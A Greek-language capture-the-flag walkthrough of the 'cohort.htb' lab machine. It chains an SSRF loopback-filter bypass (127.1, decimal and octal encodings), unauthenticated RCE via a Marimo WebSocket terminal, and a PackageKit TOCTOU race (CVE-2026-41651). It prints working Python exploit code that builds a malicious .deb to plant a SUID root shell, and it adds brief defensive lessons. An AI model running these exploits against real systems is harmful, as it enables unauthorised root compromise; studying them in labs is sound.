English · Ελληνικά
Ένα εύκολο machine που συνδυάζει παρακάμψεις φίλτρου SSRF, pre-auth RCE σε ένα Marimo notebook, και ένα TOCTOU race condition στο PackageKit για root. Input validation λάθος φτιαγμένο· εσωτερικές υπηρεσίες εκτεθειμένες· system packages χωρίς patch.
Διεύθυνση IP: 10.129.119.223
Δυσκολία: Εύκολο
Το nmap βρίσκει τρία ports. Το πιστοποιητικό TLS αποκαλύπτει ένα wildcard domain.
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https
Το enumeration υπηρεσιών δείχνει nginx/1.24.0 και στο HTTP και στο HTTPS. Το πιστοποιητικό TLS παρουσιάζει *.cohort.htb — ένα wildcard SAN που υποδηλώνει πολλαπλά virtual hosts.
Προσθέτουμε στο /etc/hosts:
10.129.119.223 cohort.htb 10.129.119.223 nb-1be3782a8afd3ad5.cohort.htb
Το κύριο domain φιλοξενεί το Cohort Analytics — ένα obfuscated SPA για retention intelligence. Το δεύτερο vhost αποδεικνύεται ότι είναι ένα reverse proxy προς έναν εσωτερικό server Marimo notebook.
Το SPA έχει ένα endpoint επικύρωσης URL που διαρρέει εσωτερικές υπηρεσίες. Το φίλτρο είναι αφελές string-matching.
Εξερευνώντας το SPA Cohort αποκαλύπτεται ένα κρυφό portal στο /portal.html όπου οι χρήστες υποβάλλουν «report source URLs». Η υποβολή ενός URL πυροδοτεί ένα POST στο /api/validate:
curl -s -k -X POST https://cohort.htb/api/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://127.0.0.1/","format":"csv"}'
Ο server απορρίπτει διευθύνσεις loopback — φιλτράρει έναντι 127.0.0.1 και localhost με απλό string matching. Αυτό παρακάμπτεται τετριμμένα.
Εναλλακτικές αναπαραστάσεις του loopback:
http://127.1/ — περικομμένο δεκαδικόhttp://0.0.0.0/ — όλα τα interfaceshttp://2130706433/ — καθαρή δεκαδική IPhttp://0177.0.0.1/ — οκταδική σημειογραφίαΧρησιμοποιώντας το 127.1, σαρώνουμε εσωτερικά ports:
curl -s -k -X POST https://cohort.htb/api/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://127.1:5000/","format":"json"}'
Port 5000: backend Flask | Port 8888: Marimo notebook (auth-gated, μόνο εσωτερικά)
Το Nginx εκθέτει ένα endpoint /status που επιστρέφει 403 σε unauthorized clients. Κάνοντας route μέσα από το SSRF, παρακάμπτουμε το ACL:
curl -s -k -X POST https://cohort.htb/api/validate \
-H "Content-Type: application/json" \
-d '{"url":"http://127.1/status","format":"json"}'
Η απάντηση διαρρέει ολόκληρο το config του Nginx, αποκαλύπτοντας: nb-1be3782a8afd3ad5.cohort.htb — το κρυφό vhost που λειτουργεί ως reverse proxy προς το Marimo στο port 8888.
Ποτέ μην χρησιμοποιείς string-matching για ασφάλεια. Χρησιμοποίησε κατάλληλες βιβλιοθήκες IP parsing και allowlisting, όχι blacklisting. Μία μόνο εναλλακτική αναπαράσταση παρακάμπτει ολόκληρο το φίλτρο.
Ο server notebook Marimo εκθέτει ένα unauthenticated WebSocket terminal. Ο έλεγχος auth λείπει σε αυτό το route.
Το Marimo 0.20.4 εκθέτει το /terminal/ws ως ένα WebSocket που δημιουργεί ένα pseudoterminal OS. Η ευπάθεια: ο έλεγχος validate_auth() λείπει από τον handler του route WebSocket, επιτρέποντας σε unauthenticated clients να δημιουργήσουν interactive shell.
Οι standard βιβλιοθήκες websocket της Python συμπεριφέρονται λάθος πάνω από TLS σε αυτό το περιβάλλον. Χρησιμοποιούμε raw sockets με WebSocket framing:
import socket, ssl, base64, os, struct
TARGET_IP = "10.129.119.223"
HOST = "nb-1be3782a8afd3ad5.cohort.htb"
PATH = "/terminal/ws"
def connect():
raw = socket.create_connection((TARGET_IP, 443), timeout=8)
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
s = ctx.wrap_socket(raw, server_hostname=HOST)
key = base64.b64encode(os.urandom(16)).decode()
req = (f"GET {PATH} HTTP/1.1\r\nHost: {HOST}\r\n"
f"Upgrade: websocket\r\nConnection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\n"
f"Sec-WebSocket-Version: 13\r\n\r\n")
s.sendall(req.encode())
resp = b""
while b"\r\n\r\n" not in resp:
resp += s.recv(4096)
return s
s = connect()
# Now send WebSocket frames...
uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)
marimo
Έχουμε unauthenticated RCE ως marimo. Διαβάζουμε το user flag:
[redacted — user flag]
Ο developer ξέχασε να εφαρμόσει το middleware authentication στο route WebSocket. Ένα συνηθισμένο λάθος όταν το routing και το auth είναι αποσυνδεδεμένα.
Ένα ξεπερασμένο PackageKit είναι ευάλωτο σε race condition D-Bus. Κάνουμε race μια εγκατάσταση SIMULATE έναντι μιας REAL για να τρέξουμε κώδικα ως root.
Οι standard έλεγχοι privesc δείχνουν βαρύ hardening: περιορισμένα namespaces, σκληρυμένο audit, NoNewPrivileges. Ωστόσο, ένα ξεπερασμένο PackageKit 1.2.8 είναι εγκατεστημένο μαζί με D-Bus και dpkg. Αυτό είναι ευάλωτο στο CVE-2026-41651, ένα TOCTOU race condition.
InstallFiles με flag SIMULATE (4) — ο daemon κάνει validate τα packagesInstallFiles με flag REAL (0) που δείχνει στο .deb του επιτιθέμενου.deb, τρέχοντας το maintainer script postinst του ως rootimport os, subprocess, time
from gi.repository import Gio, GLib
TARGET_SUID = "/tmp/.suid_bash"
DUMMY_DEB = "/tmp/dummy.deb"
PAYLOAD_DEB = "/tmp/payload.deb"
def build_deb(path, name, is_payload=False):
tmp_dir = f"/tmp/build_{name}"
debian_dir = os.path.join(tmp_dir, "DEBIAN")
os.makedirs(debian_dir, exist_ok=True)
with open(os.path.join(debian_dir, "control"), "w") as f:
f.write(f"Package: {name}\nVersion: 1.0\n"
f"Architecture: all\nMaintainer: PoC\n"
f"Description: PoC\n")
if is_payload:
postinst = os.path.join(debian_dir, "postinst")
with open(postinst, "w") as f:
f.write(f"#!/bin/sh\n"
f"install -m 4755 /bin/bash {TARGET_SUID}\n")
os.chmod(postinst, 0o755)
subprocess.run(["dpkg-deb", "-b", tmp_dir, path],
stdout=subprocess.DEVNULL)
subprocess.run(["rm", "-rf", tmp_dir])
def exploit():
build_deb(DUMMY_DEB, "pk-dummy")
build_deb(PAYLOAD_DEB, "pk-payload", is_payload=True)
connection = Gio.bus_get_sync(Gio.BusType.SYSTEM, None)
# Create transaction
res = connection.call_sync(
"org.freedesktop.PackageKit",
"/org/freedesktop/PackageKit",
"org.freedesktop.PackageKit",
"CreateTransaction", None,
GLib.VariantType.new("(o)"),
Gio.DBusCallFlags.NONE, -1, None
)
tid = res.unpack()[0]
# Race: SIMULATE then REAL
connection.call(
"org.freedesktop.PackageKit", tid,
"org.freedesktop.PackageKit.Transaction", "InstallFiles",
GLib.Variant("(tas)", (4, [DUMMY_DEB])), # SIMULATE
None, Gio.DBusCallFlags.NONE, -1, None, None
)
connection.call(
"org.freedesktop.PackageKit", tid,
"org.freedesktop.PackageKit.Transaction", "InstallFiles",
GLib.Variant("(tas)", (0, [PAYLOAD_DEB])), # REAL
None, Gio.DBusCallFlags.NONE, -1, None, None
)
connection.flush_sync(None)
# Wait for suid bash
for _ in range(60):
if os.path.exists(TARGET_SUID) and (os.stat(TARGET_SUID).st_mode & 0o4000):
result = subprocess.run(
[TARGET_SUID, "-p", "-c", "cat /root/root.txt"],
capture_output=True, text=True
)
print(result.stdout.strip())
return
time.sleep(1)
[*] CVE-2026-41651 — PackageKit LPE
[+] Packages generated
[+] Transaction: /3_beeeacac
[*] Racing SIMULATE vs REAL...
[*] Waiting for SUID bash...
[+++] Got SUID bash!
[redacted — root flag]
Το παράθυρο ανάμεσα στις φάσεις validation παραμέτρων και εκτέλεσης του PackageKit είναι τυπικά 1–100ms. Το να πυροδοτήσεις και τις δύο async κλήσεις D-Bus back-to-back και να κάνεις flush το πετυχαίνει αξιόπιστα μέσα σε 60 δευτερόλεπτα retries.
/status· περιόρισε handlers ευάλωτους σε SSRF.| Φαση | Ευπαθεια | Αντικτυπος |
|---|---|---|
| 1. SSRF | Φίλτρο string-matching | Bypass μέσω 127.1, σάρωμα εσωτερικών ports |
| 2. Service Discovery | Bypass ACL Nginx | Διαρροή κρυφού vhost από το /status |
| 3. RCE | CVE-2026-39987 | Pre-auth shell μέσω /terminal/ws |
| 4. Root | CVE-2026-41651 | Root μέσω race TOCTOU του postinst |